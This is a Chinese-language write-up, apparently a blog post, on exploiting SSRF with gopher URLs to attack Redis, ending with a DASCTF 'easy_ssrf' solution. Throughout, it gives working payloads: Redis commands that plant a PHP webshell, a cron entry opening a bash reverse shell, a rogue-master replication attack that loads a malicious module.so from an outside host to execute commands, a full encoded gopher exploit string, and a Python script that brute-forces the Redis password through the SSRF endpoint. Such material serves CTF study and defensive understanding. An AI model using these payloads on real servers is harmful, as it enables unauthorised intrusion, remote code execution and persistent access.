天天看點

ssrf與gopher與redis

ssrf與gopher與redis

前言

ssrf打redis是老生常談的問題,衆所周知redis可以寫檔案,那麼ssrf使用gopher協定去控制未授權的redis進行webshell的寫入和計劃任務的反彈。這類檔案很多,我也自以為懂了,今天看到一道ctf題目,我才發現自己細節上還是有很多欠缺,也将其一并總結了

工具

gopher協定規則比較複雜,經過一下午查找,找到該工具生成的gopher很準确,且可自定義

https://github.com/firebroo/sec_tools

使用方法

編輯

redis-over-gopher/redis.cmd

為redis執行的指令,一句指令一行,比如它給出的例子

flushall
config set dir /tmp
config set dbfilename shell.php
set 'webshell' '<?php phpinfo();?>'
save
           

編輯好後運作

redis-over-gopher/redis-over-gopher.py

python redis-over-gopher.py
           

生成準确無誤的gopher(有些工具生成的有問題,下午在這上面耗費了大量時間,為了排查是payload的問題還是工具的問題,本地搭了個redis,ssrf來測試.....)

ssrf與gopher與redis

注意點:當使用下面生成的gopher語句時,請将其再進行一個url編碼傳到web的參數中才會正常運作

redis寫webshell

本地直接起redis-server

ssrf與gopher與redis

再寫個ssrf的web,這裡我就借用最近安恒出的DASCTF easy_ssrf的源碼來說,這道題最後也會寫

ssrf與gopher與redis

這裡的file協定被禁止了,但是複現寫webshell不需要file協定

端口探測這裡建議使用dict去探測,有時候http協定探測不到redis

ssrf與gopher與redis
ssrf與gopher與redis

寫webshell就很簡單了,我的web目錄是/Users/mi0/www

flushall
set 1 '<?php phpinfo();?>'
config set dir /Users/mi0/www
config set dbfilename shell.php
save
           

用工具

ssrf與gopher與redis

在burp中再進行一次url編碼

ssrf與gopher與redis

将編碼結果傳入到web的url參數中,可以看到目錄下生成了shell.php

ssrf與gopher與redis

redis寫計劃任務

寫計劃任務要在centos下可以實作,如果是ubuntu就不可以了,在寫權限維持的那篇總結的時候,發現ubuntu的bash是彈不回來的,使用python或者perl可以彈,但是用redis寫會出現各種各樣的問題,是以redis如果是ubuntu伺服器,那麼寫計劃任務是不可取的

因為手上沒有centos的redis環境,這裡就雲一波使用方法

将下面語句生成gopher即可

flushall
set 1 '\n\n*/1 * * * * bash -i >& /dev/tcp/ip/port 0>&1\n\n'
config set dir /var/spool/cron/
config set dbfilename root
save
           

redis主從複制

主從複制簡單的來說,多個redis可以聯合在一起,主redis做的行為,從redis也會跟着做

主從複制的漏洞就是我們模拟個主redis,讓被攻擊的redis作為從redis和我們綁定,之後主redis的配置,從redis也會一樣執行,并且會傳輸配置檔案

那麼就僅僅是這樣和我直接用gopher連到目标redis上去執行指令有啥特别的技巧呢,主從複制可以做到寫webshell,寫計劃任務,寫ssh的秘鑰,他還可以做到加載子產品,調用子產品的中的自定義函數

mysql的udf提權是讓mysql加載一個so檔案,就可以使用自定義的指令執行函數了,如果mysql是root運作,也就達到了提權的效果

redis的加載子產品原理和mysql類似,它也是加載一個so檔案,這個so檔案也可以寫系統指令執行的函數,那麼此時此刻也能指令執行了

這個so檔案可以通過下面的github擷取,他還有個生成gopher協定的腳本(不太好用)

https://github.com/xmsec/redis-ssrf

make

一下會生成一個

module.so

有些主從複制的github項目有編譯好的

exp.so

,有時候可能不靈

除了

module.so

還需要準備的是模拟主redis的工具

https://github.com/Dliv3/redis-rogue-server

這裡他自帶了

exp.so

,至少我的環境和題目的環境用不了,我也就改了下他的腳本,改成指向性module.so,并把module.so放到該項目下,運作

rogue-server.py

時會預設監聽6666端口,我這裡改成6667了

ssrf與gopher與redis
ssrf與gopher與redis

本地搭了個環境,此時我把我本地的redis-server關了,開了個docker,因為mac沒法用 bash /dev/tcp 反彈shell

docker run -itd -p 6379:6379 redis:4
           

直接用

redis-cli

連接配接自己的未授權redis的docker

ssrf與gopher與redis
config set dir /tmp/
config set dbfilename module.so
slaveof mi0.xyz 6667
module load /tmp/module.so
system.exec 'whoami'
quit
           

利用文章開頭的工具生成gopher(下面截圖是錯誤示範,少了個quit,導緻請求一直卡住)

ssrf與gopher與redis

本地監聽2345端口接收反彈shell,在遠端的mi0.xyz 我的vps下開啟

rogue-server.py

腳本(正式利用中肯定要公網ip的)

ssrf與gopher與redis

再次url編碼發送,運作成功,傳回redis使用者名

ssrf與gopher與redis

當第一次請求沒有運作whoami,vps上的rogue-server.py已經被請求運作完畢,他的作用就是給從伺服器寫個module.so到tmp目錄下,我們可以到redis的docker裡面tmp路徑下看

ssrf與gopher與redis
ssrf與gopher與redis

列印id

ssrf與gopher與redis

再換個腳本

ssrf與gopher與redis

redis認證下的利用

redis如果有密碼,是弱密碼的話,可以通過python腳本爆破,看回顯來确定密碼是否正确

如果有密碼在最前面,和gopher的格式一樣,如下健為AUTH,密碼為123456

ssrf與gopher與redis

題目安恒的DASCTF easy_ssrf

碰巧猜到了密碼是123456

在尋常的未授權前加上認證的gopher字段

%2A2%0d%0a%244%0d%0aAUTH%0d%0a%246%0d%0a123456%0D%0A
           

最終payload如下

%67%6f%70%68%65%72%3a%2f%2f%31%32%37%2e%30%2e%30%2e%31%3a%36%33%37%39%2f%5f%25%32%41%32%25%30%64%25%30%61%25%32%34%34%25%30%64%25%30%61%41%55%54%48%25%30%64%25%30%61%25%32%34%36%25%30%64%25%30%61%31%32%33%34%35%36%25%30%44%25%30%41%25%32%61%25%33%34%25%30%64%25%30%61%25%32%34%25%33%36%25%30%64%25%30%61%25%36%33%25%36%66%25%36%65%25%36%36%25%36%39%25%36%37%25%30%64%25%30%61%25%32%34%25%33%33%25%30%64%25%30%61%25%37%33%25%36%35%25%37%34%25%30%64%25%30%61%25%32%34%25%33%33%25%30%64%25%30%61%25%36%34%25%36%39%25%37%32%25%30%64%25%30%61%25%32%34%25%33%35%25%30%64%25%30%61%25%32%66%25%37%34%25%36%64%25%37%30%25%32%66%25%30%64%25%30%61%25%32%61%25%33%34%25%30%64%25%30%61%25%32%34%25%33%36%25%30%64%25%30%61%25%36%33%25%36%66%25%36%65%25%36%36%25%36%39%25%36%37%25%30%64%25%30%61%25%32%34%25%33%33%25%30%64%25%30%61%25%37%33%25%36%35%25%37%34%25%30%64%25%30%61%25%32%34%25%33%31%25%33%30%25%30%64%25%30%61%25%36%34%25%36%32%25%36%36%25%36%39%25%36%63%25%36%35%25%36%65%25%36%31%25%36%64%25%36%35%25%30%64%25%30%61%25%32%34%25%33%39%25%30%64%25%30%61%25%36%64%25%36%66%25%36%34%25%37%35%25%36%63%25%36%35%25%32%65%25%37%33%25%36%66%25%30%64%25%30%61%25%32%61%25%33%33%25%30%64%25%30%61%25%32%34%25%33%37%25%30%64%25%30%61%25%37%33%25%36%63%25%36%31%25%37%36%25%36%35%25%36%66%25%36%36%25%30%64%25%30%61%25%32%34%25%33%37%25%30%64%25%30%61%25%36%64%25%36%39%25%33%30%25%32%65%25%37%38%25%37%39%25%37%61%25%30%64%25%30%61%25%32%34%25%33%34%25%30%64%25%30%61%25%33%36%25%33%36%25%33%36%25%33%36%25%30%64%25%30%61%25%32%61%25%33%33%25%30%64%25%30%61%25%32%34%25%33%36%25%30%64%25%30%61%25%36%64%25%36%66%25%36%34%25%37%35%25%36%63%25%36%35%25%30%64%25%30%61%25%32%34%25%33%34%25%30%64%25%30%61%25%36%63%25%36%66%25%36%31%25%36%34%25%30%64%25%30%61%25%32%34%25%33%31%25%33%34%25%30%64%25%30%61%25%32%66%25%37%34%25%36%64%25%37%30%25%32%66%25%36%64%25%36%66%25%36%34%25%37%35%25%36%63%25%36%35%25%32%65%25%37%33%25%36%66%25%30%64%25%30%61%25%32%61%25%33%32%25%30%64%25%30%61%25%32%34%25%33%31%25%33%31%25%30%64%25%30%61%25%37%33%25%37%39%25%37%33%25%37%34%25%36
           

擷取flag

ssrf與gopher與redis

那麼不要猜到,要通過腳本爆破呢,先擷取執行id指令的gopher包

ssrf與gopher與redis

vps上挂起

rogue-server.py

腳本

本地編寫爆破腳本,其中的1.txt是top100的腳本

import requests
from urllib.parse import quote,unquote

url = "http://183.129.189.61:51700/index.php?url="

wordlist = open('1.txt')
for i in wordlist.readlines():
	key = i.split('\n')[0]
	#print(key)
	password = 'gopher://127.0.0.1:6379/_%2A2%0d%0a%244%0d%0aAUTH%0d%0a%24{}%0d%0a{}%0D%0A'.format(str(len(key)),key)
	
	poc = '%2a%34%0d%0a%24%36%0d%0a%63%6f%6e%66%69%67%0d%0a%24%33%0d%0a%73%65%74%0d%0a%24%33%0d%0a%64%69%72%0d%0a%24%35%0d%0a%2f%74%6d%70%2f%0d%0a%2a%34%0d%0a%24%36%0d%0a%63%6f%6e%66%69%67%0d%0a%24%33%0d%0a%73%65%74%0d%0a%24%31%30%0d%0a%64%62%66%69%6c%65%6e%61%6d%65%0d%0a%24%39%0d%0a%6d%6f%64%75%6c%65%2e%73%6f%0d%0a%2a%33%0d%0a%24%37%0d%0a%73%6c%61%76%65%6f%66%0d%0a%24%37%0d%0a%6d%69%30%2e%78%79%7a%0d%0a%24%34%0d%0a%36%36%36%36%0d%0a%2a%33%0d%0a%24%36%0d%0a%6d%6f%64%75%6c%65%0d%0a%24%34%0d%0a%6c%6f%61%64%0d%0a%24%31%34%0d%0a%2f%74%6d%70%2f%6d%6f%64%75%6c%65%2e%73%6f%0d%0a%2a%32%0d%0a%24%31%31%0d%0a%73%79%73%74%65%6d%2e%65%78%65%63%0d%0a%24%32%0d%0a%69%64%0d%0a%2a%31%0d%0a%24%34%0d%0a%71%75%69%74%0d%0a'	
	poc2 = quote(password + poc)
	#print(poc2)
	#print(url + poc2)
	r = requests.get(url + poc2)
	if 'uid' in r.text:
		print("[+]right key:" + i)
		print(r.text)
		break
	else:
		print("[-]error key:" + i)
		

           

運作擷取弱密碼,之後的操作就和主從複制一樣了

ssrf與gopher與redis

參考文章

https://www.anquanke.com/post/id/181599

https://www.cnblogs.com/xiaozi/p/13089906.html

https://blog.csdn.net/weixin_40422959/article/details/106463823

https://github.com/n0b0dyCN/RedisModules-ExecuteCommand